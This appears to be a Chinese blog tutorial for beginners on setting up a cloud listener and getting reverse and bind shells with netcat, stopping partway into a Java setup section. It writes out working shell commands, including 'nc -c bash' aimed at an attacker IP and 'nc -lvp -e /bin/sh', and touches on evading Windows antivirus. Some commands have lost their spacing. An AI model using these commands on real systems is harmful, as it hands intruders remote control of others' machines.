不会有人2025了还不会反弹shell吧?让你的反弹shell从0到1!

不会有人2025了还不会反弹shell吧?让你的反弹shell从0到1!

引言学习反弹shell的过程太痛苦,让后人不要那么痛苦,写的文章~

这个文章讲什么?

那就牛逼了,哥们从服务器开始讲,讲如何搭建服务器反弹shell,为什么要搭建服务器,下载反弹shell的命令,如何避免踩坑,什么是正向反向连接,如何通过python、java进行连接,数据包反弹shell用什么命令,Linux和Windows差别。总而言之,言而总之,手把手,心连心,包看懂,包学会,无套路,求珍惜。

涉及知识点1.如何从搭建服务器开始到反弹Shell

2.如何利用代码进行反弹shell

3.反弹Shell在数据包中为什么要使用base64编码的形式

4.反弹Shell为什么要使用代码进行反弹shell

5.如何在目标服务器上安装代码环境(使用命令行)

6.各种命令面板的区别是什么,为什么要弄清楚?

7.自己是什么权限,权限之间的区别

8.内网如何反弹shell

9.正向连接反向连接

场景提要文章以下的片段,都是用root权限,也就是管理员的最高权限。

正式开始知识点一:搭建反弹shell服务器选择经济型即可

镜像选择Ubuntu,因为在Liunx中个人认为是比较好用。

首先是安全组的设置,新建安全组,随便选一下端口即可(后面还要进行微调)

设置一个密码,选择自定义密码,不要选密钥对,因为方便

创建完成后会跳转到这个页面,点击安全组,就能看到刚刚创建的安全组

直接选择开启全部,别问,问就是省事~

入方向和出方向都要进行设置,问就是省事~

远程连接当然也可以,跳转后输入密码就好了,但不推荐

理由:传文件很麻烦,切换目录的时候也很麻烦,不省事。

所以需要下载一个:

记得下载中文版的~

为什么不给下载链接,因为我也想省事~

下载以后就很简单了,直接跟着做就好

远程主机写什么?服务器的公网IP

记得写的是公有的不是私有的。

输入刚刚设置的密码。

成功登录了。

想要进行基础的反弹shell嘛?简单!但要先做一些战前准备。

sudo apt remove netcat-openbsd # 卸载 OpenBSD 版本

sudo apt install netcat-traditional # 安装传统版本(支持 -e 参数)

执行这两个命令即可。如何验证是否成功安装呢?

首先需要先执行,nc -version

这样的结果,就不是我们需要的反弹shell的命令

sudo apt remove netcat-openbsd # 卸载 OpenBSD 版本

我这里是加了-y,没加-y也就是多了一个问题,问你要不要删除,删除yes摇头no~

sudo apt install netcat-traditional

然后发现查不到版本是不是很慌

你管他呢,直接就是一个命令:nc -l -vp 8080

ok了,命令齐活了~

nonon不一定,还需要输入nc试试:

像这样出现Cmd line才能保证你的nc下载的是对的。

如果不对,那么就要先执行这两个命令:

sudo rm /usr/bin/nc

which nc# 应返回 "nc not found"

再执行:

sudo apt remove netcat-openbsd # 卸载 OpenBSD 版本

sudo apt install netcat-traditional # 安装传统版本(支持 -e 参数)

nc命令就成功下载了。剩下就可以利用它去上线了,怎么上线?

插一嘴:反弹Shell不是分为反向正向嘛,理解起来就头疼,奇奇怪怪弯弯绕绕,其实就是一个很简单的事情。

攻击机(你的电脑,你的服务器)去连接别人(被攻击的电脑、服务器),就是正向

别人(被攻击的电脑、服务器)去连接攻击机(你的电脑,你的服务器),就是反向

然后就有小白师傅问了,别人怎么可能会主动去连接你的电脑呢?

执行命令漏洞懂吧,反弹shell这个东西都是有执行命令的前提下的,你不能执行命令,你怎么反弹shell,它一定是在一个你挖到了别人的漏洞,那个漏洞正好是可以执行命令的漏洞,你才能开始执行反弹shell,听懂yes摇头no!!!!!!

我自己开了一台电脑,你也别管什么真实机虚拟机的,那玩意没影响。

(或者就是最好你再开一台Ubuntn的服务器,这样可以把其他因素,什么防火墙配置啊,什么虚拟机配置,这种乱七八糟的变量给控制为0,重复上面下载命令的操作)

知识点二:基础反弹shell演示那么我们正式演示反弹shell

阿里云服务器先执行:nc -l -vp 8080

被攻击的机子执行:nc -c bash8.138.105.798080

成功上线。简单不简单。

那么有人问了,主播主播,我不理解命令怎么办?

nc -l -vp 7777

nc -c bash8.138.105.797777

端口 7777 你可以改成你喜欢的,但要保证两个命令一致,8.138.105.79这个IP要记得使用攻击机的IP,比如我这里的攻击机是阿里云服务器,8.138.105.79就是阿里云服务器的ip

命令都是些啥意思呀?

nc -l -vp 7777 -- 监听自身的7777端口,要确保7777端口开放,还记得之前为什么让你们选择全部端口开放吗?

因为不开放就无法使用。

nc -c bash8.138.105.797777 -- 去连接目标服务器

那这个是什么连接?这就是反向连接!我监听我自己的,等目标服务器连接我,我是被动的,就叫反向,就这么简单。

那么正向是咋样的?首先命令是不同的

nc -lvp 4444 -e /bin/sh

nc 10.0.78.41 4444

值得注意的是,正向连接是无法用内网机子进行连接的。(后面会进行解释)

nc -lvp 4444 -e /bin/sh目标机子(被攻击的机子)

攻击机子

首先通过查询,查询到被攻击的机子的公网ip是:112.96.87.184

那么通过这个nc 112.96.87.184 4444去连接

连的上吗?

连不上!

为什么连不上,概念:外网机子找不到内网,内网机子找的到外网。

内网外网一听就头疼:

简单,你在你本地搭建一个网站,一个靶场,你让你朋友访问一下试试,他能访问到吗?访问不到,这就是内网。

别人搭建了一个在线靶场,(你)你朋友去访问,诶能访问到,这就是外网(公网)。

这就是概念,简单吧,第三个概念。

你朋友(内网)能访问到在线靶场(外网),相当于什么?相当于内网去找外网,对吧?能访问到说明什么?

内找外,能找到。从内网连接外网,是ok的。

搭建了一个在线靶场的那个服务器的人,变成了你的朋友,你朋友去访问你搭建在本地上的网站。相当于什么?

相当于外网去找内网,对吧?那么所以外找内,找不到。从外网去连接内网的机器,是找不到的!

还不理解,就可以通过命令的差异进行一个理解。看看反向和正向的命令的一个差距。

那么概括一下就很简单了

正向连接:其实目标(被攻击)主动开放了一个端口,这个端口上放着权限,我们去拿这个权限

反向连接,目标(被攻击)这次没有开放端口了,但它将权限拿在手上,主动的交给我们监听的端口

这就是为什么反弹shell,我们在对内网目标的时候,使用的是反向连接,在对外网目标的时候,用的是正向连接的原因。其实实际的测试中,都用就是最好的了~

主播主播这么命令复杂,我记不住怎么办?

关于正向反向连接的其实是有命令进行生成的,推荐去这个网站

https://forum.ywhack.com/shell.php

好了好了结束了,累了!

嘿嘿骗你的~

知识点三:如何利用代码反弹shell代码执行反弹shell,第一个条件是什么?当然是下载对应的代码啦。

首先是那这个就比较有用了,也是重点之一。

为什么呢?

Windows如果要进行反弹shell,是要下载你的反弹shell命令的,它不像Linux,可以直接下载。

而且,在Windows中,是有自身的防护的,你要进行反弹shell,那么你需要保证你的软件是免杀的,至少不会被自带的杀软给过滤的。

当然,这就是涉及到安全开发免杀这一块了,我们这里只讲如何上线,保证大家能够每一步都是顺利的,正确的,进行一个上线。

Linux上,如何用java代码进行上线。

自动安装ubuntu18系统下载运行

apt-get update

sudo apt install-yopenjdk-11-jre-headless

sudo apt install -y openjdk-11-jdk

手动解压安装

tar -xzvf jdk-13.0.2_linux-x64_bin.tar.gz

cd jdk-13.0.2/

pwd

vim /etc/profile

export JAVA_HOME=/root/jdk-13.0.2

export CLASSPATH=$:CLASSPATH:$JAVA_HOME/lib/ export PATH=$PATH:$JAVA_HOME/bin

source /etc/profile

分别可以自动下载,与收到解压包后的下载方式,这也就是我为什么用Ubuntu演示的原因,无他,方便而已~

为什么要有这个-y呢?因为这个-y可以在我们没有拿到shell,只是执行命令的时候不会被卡住。

他表示同意,如果你不输入-y。那么它就会进行一次询问,从而卡住~

java --version

有消息就表示安装好了

当然,可能有人执行apt-get update会有报错:

那么你可以输入一下这一段,再进行执行试试

sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 32EE5355A6BC6E42

小插曲小插曲,过了以后呢,那么就有人说了我如何将一个java的反弹shell放在目标服务器上面上面呢?

相关推荐

逆水寒智者无情攻略 智者无情探索任务怎么做
世界杯365体育

逆水寒智者无情攻略 智者无情探索任务怎么做

📅 01-22 👁️ 5962
香水的制作过程和所需材料是什么?
365永久激活怎么做到的

香水的制作过程和所需材料是什么?

📅 01-24 👁️ 7534
王心凌没整容之前是什么样子
世界杯365体育

王心凌没整容之前是什么样子

📅 01-05 👁️ 2247
项目建设周期包含阶段有哪些关键步骤?
365永久激活怎么做到的

项目建设周期包含阶段有哪些关键步骤?

📅 12-31 👁️ 7415
球球大作战金色观战怎么弄 卡金色观战方法
365bet不能注册

球球大作战金色观战怎么弄 卡金色观战方法

📅 08-08 👁️ 2971
麒麟擺放禁忌大公開 | 家裡放麒麟真的招財嗎? | 麒麟擺放位置全攻略
软件水平考试(高级)网络规划设计师下午(案例分析)试题模拟试卷 (二).pdf
CANMAKE 睫毛增長修護美容液 5ml
365永久激活怎么做到的

CANMAKE 睫毛增長修護美容液 5ml

📅 10-21 👁️ 6737
高光世界杯|赢了比赛也赢得了尊重:日本球迷值得被尊重